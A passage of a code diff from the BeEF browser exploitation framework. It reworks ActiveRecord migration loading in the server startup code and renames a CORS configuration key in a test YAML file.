[File.join('core', 'main', 'ar-migrations')] +context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end @@ -160,7 +160,6 @@ def start_beef_server # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil - OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. @@ -170,10 +169,12 @@ def start_beef_server # Migrate (if required) ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages - context = ActiveRecord::Migration.new.migration_context + ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] + context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end + BeEF::Core::Migration.instance.update_db! # Spawn HTTP Server diff --git a/spec/support/assets/config_new.yaml b/spec/support/assets/config_new.yaml index 9e1436953a..98651cf995 100644 --- a/spec/support/assets/config_new.yaml +++ b/spec/support/assets/config_new.yaml @@ -74,7 +74,7 @@ beef: # For multiple origins use: "http://browserhacker.com, http://domain2.com" restful_api: allow_cors: false - cors_allowed_domains: "http://browserhacker.com" + cors_allowed_origins: "http://browserhacker.com" # Prefer WebSockets over XHR-polling when possible. websocket: